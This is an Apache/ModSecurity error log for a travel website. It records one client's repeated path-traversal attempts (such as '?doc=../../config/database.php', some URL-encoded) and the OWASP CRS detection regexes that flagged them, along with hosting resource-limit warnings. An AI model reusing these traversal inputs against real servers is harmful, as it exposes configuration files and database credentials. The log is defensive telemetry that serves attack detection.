[Fri Jul 17 08:55:05.227715 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkeYpb_TFRze2EO3zSgAAAAE"]
[Fri Jul 17 08:55:05.231733 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?doc=..%2F..%2Fconfig%2Fapp.php&ts=xKlxuF3qNMJzJ69GHK5u365HZuQugJK18xCbcG5bhiQ3v287WUgQhxAFqPlSV3S0EAdA18ygzCrKRGXchplCIhbtnP4n0NhKE4bjTax0iyHrBHIbuQCHqGty4CPPogBZ17FpM9lV6UKwAKb63w4G474ZmPeXHd3ECqaFcKTJ7m47fNzxflRYVyY4KX13W67KAMPdm0h9IfnYPrp2W_LxJ78egsnik8xaGfvcTywlEdJRa9lmD-QcJDtJG6agHmoeQUvY5pZW-zZkOD6S58dW-rRB&sid=5ENRZ3DIFEXM3322ZUZQW45B7LNJ3UDJF74XHVNAOS64T25DGZG42CDNISU3EMNR7KGHKHELZDZTIJQDPVCU4EFJEL242ZZ7X26HWEYX6L6IEDG6UYWRG7E5OHDTXOYBHOPQUSK..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkaquHSHoCJK_V0SBMwAAABs"]
[Fri Jul 17 08:55:05.231782 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:doc. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:doc: ../../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkaquHSHoCJK_V0SBMwAAABs"]
[Fri Jul 17 08:55:05.231843 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?doc=../../config/app.php&ts=xKlxuF3qNMJzJ69GHK5u365HZuQugJK18xCbcG5bhiQ3v287WUgQhxAFqPlSV3S0EAdA18ygzCrKRGXchplCIhbtnP4n0NhKE4bjTax0iyHrBHIbuQCHqGty4CPPogBZ17FpM9lV6UKwAKb63w4G474ZmPeXHd3ECqaFcKTJ7m47fNzxflRYVyY4KX13W67KAMPdm0h9IfnYPrp2W_LxJ78egsnik8xaGfvcTywlEdJRa9lmD-QcJDtJG6agHmoeQUvY5pZW-zZkOD6S58dW-rRB&sid=5ENRZ3DIFEXM3322ZUZQW45B7LNJ3UDJF74XHVNAOS64T25DGZG42CDNISU3EMNR7KGHKHELZDZTIJQDPVCU4EFJEL242ZZ7X26HWEYX6L6IEDG6UYWRG7E5OHDTXOYBHOPQUSK2MNNCBRE5Y5JW3..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkaquHSHoCJK_V0SBMwAAABs"]
[Fri Jul 17 08:55:05.231890 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?doc=../../config/app.php&ts=xklxuf3qnmjzj69ghk5u365hzuqugjk18xcbcg5bhiq3v287wugqhxafqplsv3s0eada18ygzcrkrgxchplcihbtnp4n0nhke4bjtax0iyhrbhibuqchqgty4cppogbz17fpm9lv6ukwakb63w4g474zmpexhd3ecqafcktj7m47fnzxflryvyy4kx13w67kampdm0h9ifnyprp2w_lxj78egsnik8xagfvctywledjra9lmd-qcjdtjg6aghmoequvy5pzw-zzkod6s58dw-rrb&sid=5enrz3difexm3322zuzqw45b7lnj3udjf74xhvnaos64t25dgzg42cdnisu3emnr7kghkhelzdztijqdpvcu4efjel242zz7x26hweyx6l6iedg6uywrg7e5ohdtxoybhopqusk2mnncbre5y5jw3..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkaquHSHoCJK_V0SBMwAAABs"]
[Fri Jul 17 08:55:05.231915 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:doc. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:doc: ../../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkaquHSHoCJK_V0SBMwAAABs"]
[Fri Jul 17 08:55:05.231940 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:doc. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:doc: ../../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkaquHSHoCJK_V0SBMwAAABs"]
[Fri Jul 17 08:55:05.232017 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/app.php" at ARGS:doc. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/app.php found within ARGS:doc: ../../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkaquHSHoCJK_V0SBMwAAABs"]
[Fri Jul 17 08:55:05.232096 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:doc. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:doc: ../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkVCBpfuYyhJ140vSXQAAAB4"]
[Fri Jul 17 08:55:05.232149 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:doc. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:doc: ../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkVCBpfuYyhJ140vSXQAAAB4"]
[Fri Jul 17 08:55:05.232248 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/app.php" at ARGS:doc. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/app.php found within ARGS:doc: ../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkVCBpfuYyhJ140vSXQAAAB4"]
[Fri Jul 17 08:55:05.233179 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkaquHSHoCJK_V0SBMwAAABs"]
[Fri Jul 17 08:55:05.233343 2026] [hostinglimits:warn] [pid 2018767:tid 2018767] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018767) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:05.233693 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=35,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkaquHSHoCJK_V0SBMwAAABs"]
[Fri Jul 17 08:55:05.234022 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkVCBpfuYyhJ140vSXQAAAB4"]
[Fri Jul 17 08:55:05.234355 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:05.234834 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 15, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkVCBpfuYyhJ140vSXQAAAB4"]
[Fri Jul 17 08:55:05.238270 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:doc. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:doc: ../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkRHlOGcokz2QIwTS-AAAAAM"]
[Fri Jul 17 08:55:05.238316 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:doc. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:doc: ../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkRHlOGcokz2QIwTS-AAAAAM"]
[Fri Jul 17 08:55:05.238383 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/database.php" at ARGS:doc. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/database.php found within ARGS:doc: ../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkRHlOGcokz2QIwTS-AAAAAM"]
[Fri Jul 17 08:55:05.239771 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkRHlOGcokz2QIwTS-AAAAAM"]
[Fri Jul 17 08:55:05.239949 2026] [hostinglimits:warn] [pid 2030774:tid 2030774] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030774) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:05.240289 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 15, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkRHlOGcokz2QIwTS-AAAAAM"]
[Fri Jul 17 08:55:05.244684 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?doc=..%2F..%2Fconfig%2Fdatabase.php&token=ZYK_pZnZaV1DxNbCRCT9gwjuIMLl6C2jjCaGwv4IT-O8YYDycL53abkXV_euKj2be4uVOGhABe_Nxo-89781KImdI4u4aOS37eFMw-oD5BOn8HUBNWbYngcOWYykkTz8ZxyKHBDyj_5E6esI6shf4UlhSCnb3XLFBKSNx8Drtc0UEqJA_HlDjg1iOtpfLXH9WTeFfCL_0X47szP25N9glyEvRjsQFMeNXVaiPDe64CrKhPWe6B0oW3_v_F0fkXrcQsZWkzZVYJIYQPxSFjljNBYb&cb=YPWHYLBNMCTHS2HEJEGXOY2IA45KRQQ7LNWCHLKQ5C2XKVTDDVAC6B5Q2YBFSRVBQVBWJNYOIDPLPVCJTIQKKHVK3CAWGWHZ6XC4HERWTMIA3WDQSZDK32QO5ZP22KI4..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkaquHSHoCJK_V0SBNAAAABs"]
[Fri Jul 17 08:55:05.244734 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:doc. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:doc: ../../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkaquHSHoCJK_V0SBNAAAABs"]
[Fri Jul 17 08:55:05.244798 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?doc=../../config/database.php&token=ZYK_pZnZaV1DxNbCRCT9gwjuIMLl6C2jjCaGwv4IT-O8YYDycL53abkXV_euKj2be4uVOGhABe_Nxo-89781KImdI4u4aOS37eFMw-oD5BOn8HUBNWbYngcOWYykkTz8ZxyKHBDyj_5E6esI6shf4UlhSCnb3XLFBKSNx8Drtc0UEqJA_HlDjg1iOtpfLXH9WTeFfCL_0X47szP25N9glyEvRjsQFMeNXVaiPDe64CrKhPWe6B0oW3_v_F0fkXrcQsZWkzZVYJIYQPxSFjljNBYb&cb=YPWHYLBNMCTHS2HEJEGXOY2IA45KRQQ7LNWCHLKQ5C2XKVTDDVAC6B5Q2YBFSRVBQVBWJNYOIDPLPVCJTIQKKHVK3CAWGWHZ6XC4HERWTMIA3WDQSZDK32QO5ZP22KI4MIMUO44PJ3ADTL..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkaquHSHoCJK_V0SBNAAAABs"]
[Fri Jul 17 08:55:05.244846 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?doc=../../config/database.php&token=zyk_pznzav1dxnbcrct9gwjuimll6c2jjcagwv4it-o8yydycl53abkxv_eukj2be4uvoghabe_nxo-89781kimdi4u4aos37efmw-od5bon8hubnwbyngcowyykktz8zxykhbdyj_5e6esi6shf4ulhscnb3xlfbksnx8drtc0ueqja_hldjg1iotpflxh9wteffcl_0x47szp25n9glyevrjsqfmenxvaipde64crkhpwe6b0ow3_v_f0fkxrcqszwkzzvyjiyqpxsfjljnbyb&cb=ypwhylbnmcths2hejegxoy2ia45krqq7lnwchlkq5c2xkvtddvac6b5q2ybfsrvbqvbwjnyoidplpvcjtiqkkhvk3cawgwhz6xc4herwtmia3wdqszdk32qo5zp22ki4mimuo44pj3adtl..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkaquHSHoCJK_V0SBNAAAABs"]
[Fri Jul 17 08:55:05.244871 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:doc. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:doc: ../../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkaquHSHoCJK_V0SBNAAAABs"]
[Fri Jul 17 08:55:05.244898 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:doc. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:doc: ../../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkaquHSHoCJK_V0SBNAAAABs"]
[Fri Jul 17 08:55:05.244972 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/database.php" at ARGS:doc. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/database.php found within ARGS:doc: ../../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkaquHSHoCJK_V0SBNAAAABs"]
[Fri Jul 17 08:55:05.246138 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkaquHSHoCJK_V0SBNAAAABs"]
